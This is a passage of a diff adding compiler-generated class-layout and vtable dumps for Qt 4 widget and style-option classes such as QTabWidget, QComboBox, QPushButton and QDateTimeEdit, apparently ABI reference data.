+ base size=20 base align=4
+QTabBar (0xb3bc0380) 0
+ vptr=((& QTabBar::_ZTV7QTabBar) + 8u)
+ QWidget (0xb3bf72d0) 0
+ primary-for QTabBar (0xb3bc0380)
+ QObject (0xb3b64b7c) 0
+ primary-for QWidget (0xb3bf72d0)
+ QPaintDevice (0xb3b64bb8) 8
+ vptr=((& QTabBar::_ZTV7QTabBar) + 248u)
+
+Vtable for QTabWidget
+QTabWidget::_ZTV10QTabWidget: 65u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QTabWidget)
+8 QTabWidget::metaObject
+12 QTabWidget::qt_metacast
+16 QTabWidget::qt_metacall
+20 QTabWidget::~QTabWidget
+24 QTabWidget::~QTabWidget
+28 QTabWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QTabWidget::sizeHint
+68 QTabWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QTabWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QTabWidget::paintEvent
+128 QWidget::moveEvent
+132 QTabWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QTabWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QTabWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QTabWidget::tabInserted
+228 QTabWidget::tabRemoved
+232 (int (*)(...))-0x000000008
+236 (int (*)(...))(& _ZTI10QTabWidget)
+240 QTabWidget::_ZThn8_N10QTabWidgetD1Ev
+244 QTabWidget::_ZThn8_N10QTabWidgetD0Ev
+248 QWidget::_ZThn8_NK7QWidget7devTypeEv
+252 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+256 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTabWidget
+ size=20 align=4
+ base size=20 base align=4
+QTabWidget (0xb3bc0680) 0
+ vptr=((& QTabWidget::_ZTV10QTabWidget) + 8u)
+ QWidget (0xb3c09a50) 0
+ primary-for QTabWidget (0xb3bc0680)
+ QObject (0xb3b64dd4) 0
+ primary-for QWidget (0xb3c09a50)
+ QPaintDevice (0xb3b64e10) 8
+ vptr=((& QTabWidget::_ZTV10QTabWidget) + 240u)
+
+Vtable for QRubberBand
+QRubberBand::_ZTV11QRubberBand: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QRubberBand)
+8 QRubberBand::metaObject
+12 QRubberBand::qt_metacast
+16 QRubberBand::qt_metacall
+20 QRubberBand::~QRubberBand
+24 QRubberBand::~QRubberBand
+28 QRubberBand::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QRubberBand::paintEvent
+128 QRubberBand::moveEvent
+132 QRubberBand::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QRubberBand::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QRubberBand::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI11QRubberBand)
+232 QRubberBand::_ZThn8_N11QRubberBandD1Ev
+236 QRubberBand::_ZThn8_N11QRubberBandD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QRubberBand
+ size=20 align=4
+ base size=20 base align=4
+QRubberBand (0xb3bc0ec0) 0
+ vptr=((& QRubberBand::_ZTV11QRubberBand) + 8u)
+ QWidget (0xb3a34d70) 0
+ primary-for QRubberBand (0xb3bc0ec0)
+ QObject (0xb3a31348) 0
+ primary-for QWidget (0xb3a34d70)
+ QPaintDevice (0xb3a31384) 8
+ vptr=((& QRubberBand::_ZTV11QRubberBand) + 232u)
+
+Class QStyleOption
+ size=44 align=4
+ base size=44 base align=4
+QStyleOption (0xb3a317bc) 0
+
+Class QStyleOptionFocusRect
+ size=60 align=4
+ base size=60 base align=4
+QStyleOptionFocusRect (0xb3a47340) 0
+ QStyleOption (0xb3a317f8) 0
+
+Class QStyleOptionFrame
+ size=52 align=4
+ base size=52 base align=4
+QStyleOptionFrame (0xb3a47540) 0
+ QStyleOption (0xb3a31b7c) 0
+
+Class QStyleOptionFrameV2
+ size=56 align=4
+ base size=56 base align=4
+QStyleOptionFrameV2 (0xb3a47740) 0
+ QStyleOptionFrame (0xb3a47780) 0
+ QStyleOption (0xb3a31ec4) 0
+
+Class QStyleOptionFrameV3
+ size=60 align=4
+ base size=60 base align=4
+QStyleOptionFrameV3 (0xb3a47c40) 0
+ QStyleOptionFrameV2 (0xb3a47c80) 0
+ QStyleOptionFrame (0xb3a47cc0) 0
+ QStyleOption (0xb3a713fc) 0
+
+Class QStyleOptionTabWidgetFrame
+ size=80 align=4
+ base size=80 base align=4
+QStyleOptionTabWidgetFrame (0xb3a91000) 0
+ QStyleOption (0xb3a717f8) 0
+
+Class QStyleOptionTabWidgetFrameV2
+ size=112 align=4
+ base size=112 base align=4
+QStyleOptionTabWidgetFrameV2 (0xb3a91200) 0
+ QStyleOptionTabWidgetFrame (0xb3a91240) 0
+ QStyleOption (0xb3a71e88) 0
+
+Class QStyleOptionTabBarBase
+ size=80 align=4
+ base size=80 base align=4
+QStyleOptionTabBarBase (0xb3a91580) 0
+ QStyleOption (0xb3a9f384) 0
+
+Class QStyleOptionTabBarBaseV2
+ size=84 align=4
+ base size=81 base align=4
+QStyleOptionTabBarBaseV2 (0xb3a91780) 0
+ QStyleOptionTabBarBase (0xb3a917c0) 0
+ QStyleOption (0xb3a9f834) 0
+
+Class QStyleOptionHeader
+ size=80 align=4
+ base size=80 base align=4
+QStyleOptionHeader (0xb3a91b00) 0
+ QStyleOption (0xb3a9fbb8) 0
+
+Class QStyleOptionButton
+ size=64 align=4
+ base size=64 base align=4
+QStyleOptionButton (0xb3a91dc0) 0
+ QStyleOption (0xb3abe690) 0
+
+Class QStyleOptionTab
+ size=72 align=4
+ base size=72 base align=4
+QStyleOptionTab (0xb3ace140) 0
+ QStyleOption (0xb3abefb4) 0
+
+Class QStyleOptionTabV2
+ size=80 align=4
+ base size=80 base align=4
+QStyleOptionTabV2 (0xb3ace500) 0
+ QStyleOptionTab (0xb3ace540) 0
+ QStyleOption (0xb3aea9d8) 0
+
+Class QStyleOptionTabV3
+ size=100 align=4
+ base size=100 base align=4
+QStyleOptionTabV3 (0xb3ace880) 0
+ QStyleOptionTabV2 (0xb3ace8c0) 0
+ QStyleOptionTab (0xb3ace900) 0
+ QStyleOption (0xb3aeaf3c) 0
+
+Class QStyleOptionToolBar
+ size=68 align=4
+ base size=68 base align=4
+QStyleOptionToolBar (0xb3aced00) 0
+ QStyleOption (0xb3b1a834) 0
+
+Class QStyleOptionProgressBar
+ size=68 align=4
+ base size=65 base align=4
+QStyleOptionProgressBar (0xb3940080) 0
+ QStyleOption (0xb3b1af00) 0
+
+Class QStyleOptionProgressBarV2
+ size=76 align=4
+ base size=74 base align=4
+QStyleOptionProgressBarV2 (0xb39402c0) 0
+ QStyleOptionProgressBar (0xb3940300) 0
+ QStyleOption (0xb3947654) 0
+
+Class QStyleOptionMenuItem
+ size=96 align=4
+ base size=96 base align=4
+QStyleOptionMenuItem (0xb3940380) 0
+ QStyleOption (0xb3947690) 0
+
+Class QStyleOptionQ3ListViewItem
+ size=64 align=4
+ base size=64 base align=4
+QStyleOptionQ3ListViewItem (0xb3940580) 0
+ QStyleOption (0xb3958258) 0
+
+Class QStyleOptionQ3DockWindow
+ size=48 align=4
+ base size=46 base align=4
+QStyleOptionQ3DockWindow (0xb3940900) 0
+ QStyleOption (0xb39588ac) 0
+
+Class QStyleOptionDockWidget
+ size=52 align=4
+ base size=51 base align=4
+QStyleOptionDockWidget (0xb3940b00) 0
+ QStyleOption (0xb3958bf4) 0
+
+Class QStyleOptionDockWidgetV2
+ size=52 align=4
+ base size=52 base align=4
+QStyleOptionDockWidgetV2 (0xb3940d00) 0
+ QStyleOptionDockWidget (0xb3940d40) 0
+ QStyleOption (0xb398c1a4) 0
+
+Class QStyleOptionViewItem
+ size=80 align=4
+ base size=77 base align=4
+QStyleOptionViewItem (0xb3995080) 0
+ QStyleOption (0xb398c5dc) 0
+
+Class QStyleOptionViewItemV2
+ size=84 align=4
+ base size=84 base align=4
+QStyleOptionViewItemV2 (0xb3995300) 0
+ QStyleOptionViewItem (0xb3995340) 0
+ QStyleOption (0xb398cec4) 0
+
+Class QStyleOptionViewItemV3
+ size=92 align=4
+ base size=92 base align=4
+QStyleOptionViewItemV3 (0xb3995800) 0
+ QStyleOptionViewItemV2 (0xb3995840) 0
+ QStyleOptionViewItem (0xb3995880) 0
+ QStyleOption (0xb39a94ec) 0
+
+Class QStyleOptionViewItemV4
+ size=128 align=4
+ base size=128 base align=4
+QStyleOptionViewItemV4 (0xb3995bc0) 0
+ QStyleOptionViewItemV3 (0xb3995c00) 0
+ QStyleOptionViewItemV2 (0xb3995c40) 0
+ QStyleOptionViewItem (0xb3995c80) 0
+ QStyleOption (0xb39a999c) 0
+
+Class QStyleOptionToolBox
+ size=52 align=4
+ base size=52 base align=4
+QStyleOptionToolBox (0xb3995fc0) 0
+ QStyleOption (0xb39d84ec) 0
+
+Class QStyleOptionToolBoxV2
+ size=60 align=4
+ base size=60 base align=4
+QStyleOptionToolBoxV2 (0xb39dd1c0) 0
+ QStyleOptionToolBox (0xb39dd200) 0
+ QStyleOption (0xb39d8b04) 0
+
+Class QStyleOptionRubberBand
+ size=52 align=4
+ base size=49 base align=4
+QStyleOptionRubberBand (0xb39dd540) 0
+ QStyleOption (0xb39ef078) 0
+
+Class QStyleOptionComplex
+ size=52 align=4
+ base size=52 base align=4
+QStyleOptionComplex (0xb39dd740) 0
+ QStyleOption (0xb39ef3c0) 0
+
+Class QStyleOptionSlider
+ size=104 align=4
+ base size=101 base align=4
+QStyleOptionSlider (0xb39dd9c0) 0
+ QStyleOptionComplex (0xb39dda00) 0
+ QStyleOption (0xb39ef870) 0
+
+Class QStyleOptionSpinBox
+ size=64 align=4
+ base size=61 base align=4
+QStyleOptionSpinBox (0xb39ddd40) 0
+ QStyleOptionComplex (0xb39ddd80) 0
+ QStyleOption (0xb3a0212c) 0
+
+Class QStyleOptionQ3ListView
+ size=84 align=4
+ base size=81 base align=4
+QStyleOptionQ3ListView (0xb39ddfc0) 0
+ QStyleOptionComplex (0xb3a0c000) 0
+ QStyleOption (0xb3a025a0) 0
+
+Class QStyleOptionToolButton
+ size=96 align=4
+ base size=96 base align=4
+QStyleOptionToolButton (0xb3a0c2c0) 0
+ QStyleOptionComplex (0xb3a0c300) 0
+ QStyleOption (0xb3a02ec4) 0
+
+Class QStyleOptionComboBox
+ size=92 align=4
+ base size=92 base align=4
+QStyleOptionComboBox (0xb3a0c680) 0
+ QStyleOptionComplex (0xb3a0c6c0) 0
+ QStyleOption (0xb3837bb8) 0
+
+Class QStyleOptionTitleBar
+ size=68 align=4
+ base size=68 base align=4
+QStyleOptionTitleBar (0xb3a0c8c0) 0
+ QStyleOptionComplex (0xb3a0c900) 0
+ QStyleOption (0xb385c4b0) 0
+
+Class QStyleOptionGroupBox
+ size=88 align=4
+ base size=88 base align=4
+QStyleOptionGroupBox (0xb3a0cb40) 0
+ QStyleOptionComplex (0xb3a0cb80) 0
+ QStyleOption (0xb385cc6c) 0
+
+Class QStyleOptionSizeGrip
+ size=56 align=4
+ base size=56 base align=4
+QStyleOptionSizeGrip (0xb3a0ce00) 0
+ QStyleOptionComplex (0xb3a0ce40) 0
+ QStyleOption (0xb3871528) 0
+
+Class QStyleOptionGraphicsItem
+ size=132 align=4
+ base size=132 base align=4
+QStyleOptionGraphicsItem (0xb3878040) 0
+ QStyleOption (0xb38717f8) 0
+
+Class QStyleHintReturn
+ size=8 align=4
+ base size=8 base align=4
+QStyleHintReturn (0xb3871ce4) 0
+
+Class QStyleHintReturnMask
+ size=12 align=4
+ base size=12 base align=4
+QStyleHintReturnMask (0xb3878480) 0
+ QStyleHintReturn (0xb3871d20) 0
+
+Class QStyleHintReturnVariant
+ size=20 align=4
+ base size=20 base align=4
+QStyleHintReturnVariant (0xb3878500) 0
+ QStyleHintReturn (0xb3871d5c) 0
+
+Vtable for QAbstractItemDelegate
+QAbstractItemDelegate::_ZTV21QAbstractItemDelegate: 21u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QAbstractItemDelegate)
+8 QAbstractItemDelegate::metaObject
+12 QAbstractItemDelegate::qt_metacast
+16 QAbstractItemDelegate::qt_metacall
+20 QAbstractItemDelegate::~QAbstractItemDelegate
+24 QAbstractItemDelegate::~QAbstractItemDelegate
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 QAbstractItemDelegate::createEditor
+68 QAbstractItemDelegate::setEditorData
+72 QAbstractItemDelegate::setModelData
+76 QAbstractItemDelegate::updateEditorGeometry
+80 QAbstractItemDelegate::editorEvent
+
+Class QAbstractItemDelegate
+ size=8 align=4
+ base size=8 base align=4
+QAbstractItemDelegate (0xb3878780) 0
+ vptr=((& QAbstractItemDelegate::_ZTV21QAbstractItemDelegate) + 8u)
+ QObject (0xb3871d98) 0
+ primary-for QAbstractItemDelegate (0xb3878780)
+
+Vtable for QComboBox
+QComboBox::_ZTV9QComboBox: 65u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QComboBox)
+8 QComboBox::metaObject
+12 QComboBox::qt_metacast
+16 QComboBox::qt_metacall
+20 QComboBox::~QComboBox
+24 QComboBox::~QComboBox
+28 QComboBox::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QComboBox::sizeHint
+68 QComboBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QComboBox::mousePressEvent
+84 QComboBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QComboBox::wheelEvent
+100 QComboBox::keyPressEvent
+104 QComboBox::keyReleaseEvent
+108 QComboBox::focusInEvent
+112 QComboBox::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QComboBox::paintEvent
+128 QWidget::moveEvent
+132 QComboBox::resizeEvent
+136 QWidget::closeEvent
+140 QComboBox::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QComboBox::showEvent
+172 QComboBox::hideEvent
+176 QWidget::x11Event
+180 QComboBox::changeEvent
+184 QWidget::metric
+188 QComboBox::inputMethodEvent
+192 QComboBox::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QComboBox::showPopup
+228 QComboBox::hidePopup
+232 (int (*)(...))-0x000000008
+236 (int (*)(...))(& _ZTI9QComboBox)
+240 QComboBox::_ZThn8_N9QComboBoxD1Ev
+244 QComboBox::_ZThn8_N9QComboBoxD0Ev
+248 QWidget::_ZThn8_NK7QWidget7devTypeEv
+252 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+256 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QComboBox
+ size=20 align=4
+ base size=20 base align=4
+QComboBox (0xb38789c0) 0
+ vptr=((& QComboBox::_ZTV9QComboBox) + 8u)
+ QWidget (0xb38a5320) 0
+ primary-for QComboBox (0xb38789c0)
+ QObject (0xb3871ec4) 0
+ primary-for QWidget (0xb38a5320)
+ QPaintDevice (0xb3871f00) 8
+ vptr=((& QComboBox::_ZTV9QComboBox) + 240u)
+
+Vtable for QPushButton
+QPushButton::_ZTV11QPushButton: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QPushButton)
+8 QPushButton::metaObject
+12 QPushButton::qt_metacast
+16 QPushButton::qt_metacall
+20 QPushButton::~QPushButton
+24 QPushButton::~QPushButton
+28 QPushButton::event
+32 QObject::eventFilter
+36 QAbstractButton::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QPushButton::sizeHint
+68 QPushButton::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractButton::mousePressEvent
+84 QAbstractButton::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractButton::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QPushButton::keyPressEvent
+104 QAbstractButton::keyReleaseEvent
+108 QPushButton::focusInEvent
+112 QPushButton::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QPushButton::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QAbstractButton::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractButton::hitButton
+228 QAbstractButton::checkStateSet
+232 QAbstractButton::nextCheckState
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI11QPushButton)
+244 QPushButton::_ZThn8_N11QPushButtonD1Ev
+248 QPushButton::_ZThn8_N11QPushButtonD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QPushButton
+ size=20 align=4
+ base size=20 base align=4
+QPushButton (0xb38d3380) 0
+ vptr=((& QPushButton::_ZTV11QPushButton) + 8u)
+ QAbstractButton (0xb38d33c0) 0
+ primary-for QPushButton (0xb38d3380)
+ QWidget (0xb38ddb90) 0
+ primary-for QAbstractButton (0xb38d33c0)
+ QObject (0xb38ca708) 0
+ primary-for QWidget (0xb38ddb90)
+ QPaintDevice (0xb38ca744) 8
+ vptr=((& QPushButton::_ZTV11QPushButton) + 244u)
+
+Vtable for QCommandLinkButton
+QCommandLinkButton::_ZTV18QCommandLinkButton: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QCommandLinkButton)
+8 QCommandLinkButton::metaObject
+12 QCommandLinkButton::qt_metacast
+16 QCommandLinkButton::qt_metacall
+20 QCommandLinkButton::~QCommandLinkButton
+24 QCommandLinkButton::~QCommandLinkButton
+28 QCommandLinkButton::event
+32 QObject::eventFilter
+36 QAbstractButton::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QCommandLinkButton::sizeHint
+68 QCommandLinkButton::minimumSizeHint
+72 QCommandLinkButton::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractButton::mousePressEvent
+84 QAbstractButton::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractButton::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QPushButton::keyPressEvent
+104 QAbstractButton::keyReleaseEvent
+108 QPushButton::focusInEvent
+112 QPushButton::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QCommandLinkButton::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QAbstractButton::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractButton::hitButton
+228 QAbstractButton::checkStateSet
+232 QAbstractButton::nextCheckState
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI18QCommandLinkButton)
+244 QCommandLinkButton::_ZThn8_N18QCommandLinkButtonD1Ev
+248 QCommandLinkButton::_ZThn8_N18QCommandLinkButtonD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QCommandLinkButton
+ size=20 align=4
+ base size=20 base align=4
+QCommandLinkButton (0xb38d37c0) 0
+ vptr=((& QCommandLinkButton::_ZTV18QCommandLinkButton) + 8u)
+ QPushButton (0xb38d3800) 0
+ primary-for QCommandLinkButton (0xb38d37c0)
+ QAbstractButton (0xb38d3840) 0
+ primary-for QPushButton (0xb38d3800)
+ QWidget (0xb38f60a0) 0
+ primary-for QAbstractButton (0xb38d3840)
+ QObject (0xb38ca99c) 0
+ primary-for QWidget (0xb38f60a0)
+ QPaintDevice (0xb38ca9d8) 8
+ vptr=((& QCommandLinkButton::_ZTV18QCommandLinkButton) + 244u)
+
+Vtable for QDateTimeEdit
+QDateTimeEdit::_ZTV13QDateTimeEdit: 70u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QDateTimeEdit)
+8 QDateTimeEdit::metaObject
+12 QDateTimeEdit::qt_metacast
+16 QDateTimeEdit::qt_metacall
+20 QDateTimeEdit::~QDateTimeEdit
+24 QDateTimeEdit::~QDateTimeEdit
+28 QDateTimeEdit::event
+32 QObject::eventFilter
+36 QAbstractSpinBox::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QDateTimeEdit::sizeHint
+68 QAbstractSpinBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QDateTimeEdit::mousePressEvent
+84 QAbstractSpinBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractSpinBox::mouseMoveEvent
+96 QDateTimeEdit::wheelEvent
+100 QDateTimeEdit::keyPressEvent
+104 QAbstractSpinBox::keyReleaseEvent
+108 QDateTimeEdit::focusInEvent
+112 QAbstractSpinBox::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QDateTimeEdit::paintEvent
+128 QWidget::moveEvent
+132 QAbstractSpinBox::resizeEvent
+136 QAbstractSpinBox::closeEvent
+140 QAbstractSpinBox::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QAbstractSpinBox::showEvent
+172 QAbstractSpinBox::hideEvent
+176 QWidget::x11Event
+180 QAbstractSpinBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QAbstractSpinBox::inputMethodQuery
+196 QDateTimeEdit::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDateTimeEdit::validate
+228 QDateTimeEdit::fixup
+232 QDateTimeEdit::stepBy
+236 QDateTimeEdit::clear
+240 QDateTimeEdit::stepEnabled
+244 QDateTimeEdit::dateTimeFromText
+248 QDateTimeEdit::textFromDateTime
+252 (int (*)(...))-0x000000008
+256 (int (*)(...))(& _ZTI13QDateTimeEdit)
+260 QDateTimeEdit::_ZThn8_N13QDateTimeEditD1Ev
+264 QDateTimeEdit::_ZThn8_N13QDateTimeEditD0Ev
+268 QWidget::_ZThn8_NK7QWidget7devTypeEv
+272 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+276 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDateTimeEdit
+ size=20 align=4
+ base size=20 base align=4
+QDateTimeEdit (0xb38d3b00) 0
+ vptr=((& QDateTimeEdit::_ZTV13QDateTimeEdit) + 8u)
+ QAbstractSpinBox (0xb38d3b40) 0
+ primary-for QDateTimeEdit (0xb38d3b00)
+ QWidget (0xb38fcf00) 0
+ primary-for QAbstractSpinBox (0xb38d3b40)
+ QObject (0xb38cabf4) 0
+ primary-for QWidget (0xb38fcf00)
+ QPaintDevice (0xb38cac30) 8
+ vptr=((& QDateTimeEdit::_ZTV13QDateTimeEdit) + 260u)
+
+Vtable for QTimeEdit
+QTimeEdit::_ZTV9QTimeEdit: 70u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QTimeEdit)
+8 QTimeEdit::metaObject
+12 QTimeEdit::qt_metacast
+16 QTimeEdit::qt_metacall
+20 QTimeEdit::~QTimeEdit
+24 QTimeEdit::~QTimeEdit
+28 QDateTimeEdit::event
+32 QObject::eventFilter
+36 QAbstractSpinBox::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QDateTimeEdit::sizeHint
+68 QAbstractSpinBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QDateTimeEdit::mousePressEvent
+84 QAbstractSpinBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractSpinBox::mouseMoveEvent
+96 QDateTimeEdit::wheelEvent
+100 QDateTimeEdit::keyPressEvent
+104 QAbstractSpinBox::keyReleaseEvent
+108 QDateTimeEdit::focusInEvent
+112 QAbstractSpinBox::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QDateTimeEdit::paintEvent
+128 QWidget::moveEvent
+132 QAbstractSpinBox::resizeEvent
+136 QAbstractSpinBox::closeEvent
+140 QAbstractSpinBox::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QAbstractSpinBox::showEvent
+172 QAbstractSpinBox::hideEvent
+176 QWidget::x11Event
+180 QAbstractSpinBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QAbstractSpinBox::inputMethodQuery
+196 QDateTimeEdit::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDateTimeEdit::validate
+228 QDateTimeEdit::fixup
+232 QDateTimeEdit::stepBy
+236 QDateTimeEdit::clear
+240 QDateTimeEdit::stepEnabled
+244 QDateTimeEdit::dateTimeFromText
+248 QDateTimeEdit::textFromDateTime
